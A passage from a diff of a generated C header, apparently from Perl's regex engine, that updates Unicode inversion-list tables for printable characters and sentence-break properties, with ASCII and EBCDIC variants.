0xA764, + 0xA765, + 0xA766, + 0xA767, + 0xA768, + 0xA769, + 0xA76A, + 0xA76B, + 0xA76C, + 0xA76D, + 0xA76E, + 0xA76F, + 0xA779, + 0xA77A, + 0xA77B, + 0xA77C, + 0xA77D, + 0xA77F, + 0xA780, + 0xA781, + 0xA782, + 0xA783, + 0xA784, + 0xA785, + 0xA786, + 0xA787, + 0xA788, + 0xA78C, + 0xA78D, + 0xA78E, + 0xA78F, + 0xA791, + 0xA792, + 0xA793, + 0xA796, + 0xA797, + 0xA798, + 0xA799, + 0xA79A, + 0xA79B, + 0xA79C, + 0xA79D, + 0xA79E, + 0xA79F, + 0xA7A0, + 0xA7A1, + 0xA7A2, + 0xA7A3, + 0xA7A4, + 0xA7A5, + 0xA7A6, + 0xA7A7, + 0xA7A8, + 0xA7A9, + 0xA7AA, + 0xA7B5, + 0xA7B6, + 0xA7B7, + 0xA7B8, + 0xA7F8, + 0xA7FB, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, + 0xABC0, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFF41, + 0xFF5B, + 0x10428, + 0x10450, + 0x104D8, + 0x104FC, + 0x10CC0, + 0x10CF3, + 0x118C0, + 0x118E0, + 0x1D41A, + 0x1D434, + 0x1D44E, + 0x1D455, + 0x1D456, + 0x1D468, + 0x1D482, + 0x1D49C, + 0x1D4B6, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D4D0, + 0x1D4EA, + 0x1D504, + 0x1D51E, + 0x1D538, + 0x1D552, + 0x1D56C, + 0x1D586, + 0x1D5A0, + 0x1D5BA, + 0x1D5D4, + 0x1D5EE, + 0x1D608, + 0x1D622, + 0x1D63C, + 0x1D656, + 0x1D670, + 0x1D68A, + 0x1D6A6, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6E2, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D71C, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D756, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D790, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CA, + 0x1D7CB, + 0x1D7CC, + 0x1E922, + 0x1E944 +}; + +static const UV XPosixPrint_invlist[] = { /* for ASCII/Latin1 */ + 1281, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x20, + 0x7F, + 0xA0, + 0x378, + 0x37A, + 0x380, + 0x384, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x530, + 0x531, + 0x557, + 0x559, + 0x560, + 0x561, + 0x588, + 0x589, + 0x58B, + 0x58D, + 0x590, + 0x591, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F5, + 0x600, + 0x61D, + 0x61E, + 0x70E, + 0x70F, + 0x74B, + 0x74D, + 0x7B2, + 0x7C0, + 0x7FB, + 0x800, + 0x82E, + 0x830, + 0x83F, + 0x840, + 0x85C, + 0x85E, + 0x85F, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9E6, + 0x9FC, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAE6, + 0xAF2, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB66, + 0xB78, + 0xB82, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBFB, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC64, + 0xC66, + 0xC70, + 0xC78, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD50, + 0xD54, + 0xD64, + 0xD66, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF5, + 0xE01, + 0xE3B, + 0xE3F, + 0xE5C, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF98, + 0xF99, + 0xFBD, + 0xFBE, + 0xFCD, + 0xFCE, + 0xFDB, + 0x1000, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, + 0x137D, + 0x1380, + 0x139A, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1400, + 0x169D, + 0x16A0, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1715, + 0x1720, + 0x1737, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17DE, + 0x17E0, + 0x17EA, + 0x17F0, + 0x17FA, + 0x1800, + 0x180F, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1940, + 0x1941, + 0x1944, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DB, + 0x19DE, + 0x1A1C, + 0x1A1E, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA0, + 0x1AAE, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B4C, + 0x1B50, + 0x1B7D, + 0x1B80, + 0x1BF4, + 0x1BFC, + 0x1C38, + 0x1C3B, + 0x1C4A, + 0x1C4D, + 0x1C89, + 0x1CC0, + 0x1CC8, + 0x1CD0, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DF6, + 0x1DFB, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, 0x1F46, + 0x1F48, + 0x1F4E, 0x1F50, 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, 0x1F7E, 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, 0x1FB5, 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, 0x1FC5, 0x1FC6, - 0x1FC8, - 0x1FD0, 0x1FD4, 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, + 0x1FDC, + 0x1FDD, + 0x1FF0, 0x1FF2, 0x1FF5, 0x1FF6, - 0x1FF8, - 0x2071, + 0x1FFF, + 0x2000, + 0x2028, + 0x202A, + 0x2065, + 0x2066, 0x2072, - 0x207F, - 0x2080, + 0x2074, + 0x208F, 0x2090, 0x209D, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, + 0x20A0, + 0x20BF, + 0x20D0, + 0x20F1, + 0x2100, + 0x218C, + 0x2190, + 0x23FF, + 0x2400, + 0x2427, + 0x2440, + 0x244B, + 0x2460, + 0x2B74, + 0x2B76, + 0x2B96, + 0x2B98, + 0x2BBA, + 0x2BBD, + 0x2BC9, + 0x2BCA, + 0x2BD2, + 0x2BEC, + 0x2BF0, + 0x2C00, + 0x2C2F, 0x2C30, 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, + 0x2C60, 0x2CF4, - 0x2D00, + 0x2CF9, 0x2D26, 0x2D27, 0x2D28, 0x2D2D, 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69E, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7F8, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D455, - 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D4B6, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D51E, - 0x1D538, - 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A6, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, - 0x1D7CC, - 0x1E922, - 0x1E944 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SB__SC_invlist[] = { /* for ASCII/Latin1 */ - 39, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2C, - 0x2E, - 0x3A, - 0x3B, - 0x55D, - 0x55E, - 0x60C, - 0x60E, - 0x7F8, - 0x7F9, - 0x1802, - 0x1803, - 0x1808, - 0x1809, - 0x2013, - 0x2015, - 0x3001, - 0x3002, - 0xFE10, - 0xFE12, - 0xFE13, - 0xFE14, - 0xFE31, - 0xFE33, - 0xFE50, - 0xFE52, - 0xFE55, - 0xFE56, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE64, - 0xFF0C, - 0xFF0E, - 0xFF1A, - 0xFF1B, - 0xFF64, - 0xFF65 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__SC_invlist[] = { /* for EBCDIC 1047 */ - 41, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60, - 0x61, - 0x6B, - 0x6C, - 0x7A, - 0x7B, - 0x55D, - 0x55E, - 0x60C, - 0x60E, - 0x7F8, - 0x7F9, - 0x1802, - 0x1803, - 0x1808, - 0x1809, - 0x2013, - 0x2015, - 0x3001, - 0x3002, - 0xFE10, - 0xFE12, - 0xFE13, - 0xFE14, - 0xFE31, - 0xFE33, - 0xFE50, - 0xFE52, - 0xFE55, - 0xFE56, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE64, - 0xFF0C, - 0xFF0E, - 0xFF1A, - 0xFF1B, - 0xFF64, - 0xFF65 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__SC_invlist[] = { /* for EBCDIC 037 */ - 41, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60, - 0x61, - 0x6B, - 0x6C, - 0x7A, - 0x7B, - 0x55D, - 0x55E, - 0x60C, - 0x60E, - 0x7F8, - 0x7F9, - 0x1802, - 0x1803, - 0x1808, - 0x1809, - 0x2013, - 0x2015, - 0x3001, - 0x3002, - 0xFE10, - 0xFE12, - 0xFE13, - 0xFE14, - 0xFE31, - 0xFE33, - 0xFE50, - 0xFE52, - 0xFE55, - 0xFE56, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE64, - 0xFF0C, - 0xFF0E, - 0xFF1A, - 0xFF1B, - 0xFF64, - 0xFF65 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SB__SE_invlist[] = { /* for ASCII/Latin1 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x85, - 0x86, - 0x2028, - 0x202A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__SE_invlist[] = { /* for EBCDIC 1047 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x25, - 0x26, - 0x2028, - 0x202A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__SE_invlist[] = { /* for EBCDIC 037 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x15, - 0x16, - 0x2028, - 0x202A -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SB__SP_invlist[] = { /* for ASCII/Latin1 */ - 19, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xA, - 0xB, - 0xD, - 0x20, - 0x21, - 0xA0, - 0xA1, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__SP_invlist[] = { /* for EBCDIC 1047 */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xD, - 0x40, - 0x42, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__SP_invlist[] = { /* for EBCDIC 037 */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xD, - 0x40, - 0x42, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x202F, - 0x2030, - 0x205F, - 0x2060, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D71, + 0x2D7F, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E45, + 0x2E80, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SB__ST_invlist[] = { /* for ASCII/Latin1 */ - 131, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x22, - 0x3F, - 0x40, - 0x589, - 0x58A, - 0x61F, - 0x620, - 0x6D4, - 0x6D5, - 0x700, - 0x703, - 0x7F9, - 0x7FA, - 0x964, - 0x966, - 0x104A, - 0x104C, - 0x1362, - 0x1363, - 0x1367, - 0x1369, - 0x166E, - 0x166F, - 0x1735, - 0x1737, - 0x1803, - 0x1804, - 0x1809, - 0x180A, - 0x1944, - 0x1946, - 0x1AA8, - 0x1AAC, - 0x1B5A, - 0x1B5C, - 0x1B5E, - 0x1B60, - 0x1C3B, - 0x1C3D, - 0x1C7E, - 0x1C80, - 0x203C, - 0x203E, - 0x2047, - 0x204A, - 0x2E2E, - 0x2E2F, - 0x2E3C, - 0x2E3D, - 0x3002, - 0x3003, - 0xA4FF, - 0xA500, - 0xA60E, - 0xA610, - 0xA6F3, - 0xA6F4, - 0xA6F7, - 0xA6F8, - 0xA876, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA92F, - 0xA930, - 0xA9C8, - 0xA9CA, - 0xAA5D, - 0xAA60, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFE56, - 0xFE58, - 0xFF01, - 0xFF02, - 0xFF1F, - 0xFF20, - 0xFF61, - 0xFF62, - 0x10A56, - 0x10A58, - 0x11047, - 0x11049, - 0x110BE, - 0x110C2, - 0x11141, - 0x11144, - 0x111C5, - 0x111C7, - 0x111CD, - 0x111CE, - 0x111DE, - 0x111E0, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x112A9, - 0x112AA, - 0x1144B, - 0x1144D, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115D8, - 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A42, - 0x11A44, - 0x11A9B, - 0x11A9D, - 0x11C41, - 0x11C43, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B39, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA88, - 0x1DA89 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__ST_invlist[] = { /* for EBCDIC 1047 */ - 131, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5A, - 0x5B, - 0x6F, - 0x70, - 0x589, - 0x58A, - 0x61F, - 0x620, - 0x6D4, - 0x6D5, - 0x700, - 0x703, - 0x7F9, - 0x7FA, - 0x964, - 0x966, - 0x104A, - 0x104C, - 0x1362, - 0x1363, - 0x1367, - 0x1369, - 0x166E, - 0x166F, - 0x1735, - 0x1737, - 0x1803, - 0x1804, - 0x1809, - 0x180A, - 0x1944, - 0x1946, - 0x1AA8, - 0x1AAC, - 0x1B5A, - 0x1B5C, - 0x1B5E, - 0x1B60, - 0x1C3B, - 0x1C3D, - 0x1C7E, - 0x1C80, - 0x203C, - 0x203E, - 0x2047, - 0x204A, - 0x2E2E, - 0x2E2F, - 0x2E3C, - 0x2E3D, - 0x3002, - 0x3003, - 0xA4FF, - 0xA500, - 0xA60E, - 0xA610, - 0xA6F3, - 0xA6F4, - 0xA6F7, + 0x3040, + 0x3041, + 0x3097, + 0x3099, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x3190, + 0x31BB, + 0x31C0, + 0x31E4, + 0x31F0, + 0x321F, + 0x3220, + 0x32FF, + 0x3300, + 0x4DB6, + 0x4DC0, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA490, + 0xA4C7, + 0xA4D0, + 0xA62C, + 0xA640, 0xA6F8, - 0xA876, + 0xA700, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, + 0xA82C, + 0xA830, + 0xA83A, + 0xA840, 0xA878, + 